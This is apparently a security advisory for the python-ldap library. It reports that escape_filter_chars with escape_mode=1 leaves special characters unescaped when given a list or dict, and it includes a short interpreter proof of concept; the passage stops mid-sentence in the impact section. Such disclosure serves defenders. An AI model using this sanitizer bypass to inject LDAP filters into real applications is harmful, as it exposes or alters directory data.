GHSA-r7r6-cc7p-4v5m

Summary

The sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured.

Details

The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 happily computes without performing adequate logic to ensure a fully escaped return value.

PoC

>>> import ldap.filter

Exploitable

>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=1)
'abc@*()/xyz'
>>> ldap.filter.escape_filter_chars({"abc@*()/xyz": 1}, escape_mode=1)
'abc@*()/xyz'

Not exploitable

>>> ldap.filter.escape_filter_chars("abc@*()/xyz", escape_mode=1)
'abc@\\2a\\28\\29\\2fxyz'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 41, in escape_filter_chars
    s = assertion_value.replace('\\', r'\5c')
        ^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'list' object has no attribute 'replace'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 36, in escape_filter_chars
    r.append("\\%02x" % ord(c))
                        ^^^^^^
TypeError: ord() expected a character, but string of length 11 found

Impact

If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be...